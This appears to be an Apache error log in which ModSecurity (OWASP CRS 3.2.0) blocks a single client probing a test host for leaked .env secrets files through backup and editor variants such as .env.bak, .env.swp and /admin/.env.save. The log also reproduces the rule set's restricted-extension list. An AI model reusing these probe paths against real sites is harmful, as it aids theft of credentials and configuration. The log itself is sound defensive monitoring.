[Fri Oct 24 20:58:21.980814 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aPvMTeJZ4vgAgAbS8ck55wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:21.980991 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aPvMTeJZ4vgAgAbS8ck55wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.189331 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.189656 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.189891 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.389857 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.orig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.390107 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.390289 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.orig&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.636214 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.636403 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.636666 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.636830 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.swp&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.839824 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.840067 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:22.840247 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;aPvMTuJZ4vgAgAbS8ck56wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:23.041438 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.tmp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aPvMT-JZ4vgAgAbS8ck57AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:23.041694 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aPvMT-JZ4vgAgAbS8ck57AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:23.041876 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.tmp&quot;] [unique_id &quot;aPvMT-JZ4vgAgAbS8ck57AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:23.388288 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aPvMT-JZ4vgAgAbS8ck57QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:23.388549 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aPvMT-JZ4vgAgAbS8ck57QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:23.388722 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aPvMT-JZ4vgAgAbS8ck57QAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:23.953852 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aPvMT-JZ4vgAgAbS8ck57gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:23.954148 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aPvMT-JZ4vgAgAbS8ck57gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:23.954310 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aPvMT-JZ4vgAgAbS8ck57gAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:24.156892 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aPvMUOJZ4vgAgAbS8ck57wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:24.157177 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aPvMUOJZ4vgAgAbS8ck57wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:24.157375 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;aPvMUOJZ4vgAgAbS8ck57wAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:24.429348 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aPvMUOJZ4vgAgAbS8ck58AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:24.429618 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aPvMUOJZ4vgAgAbS8ck58AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:24.429961 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aPvMUOJZ4vgAgAbS8ck58AAAAAs&quot;], referer: https://www.google.com/
[Fri Oct 24 20:58:24.430199 2025] [:error] [pid 3735672] [client 52.28.200.164:39302] [client 52.28.200.164] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aPvMUOJZ4vgAgAbS8ck58AAAAAs&quot;], referer: https://www.google.com/
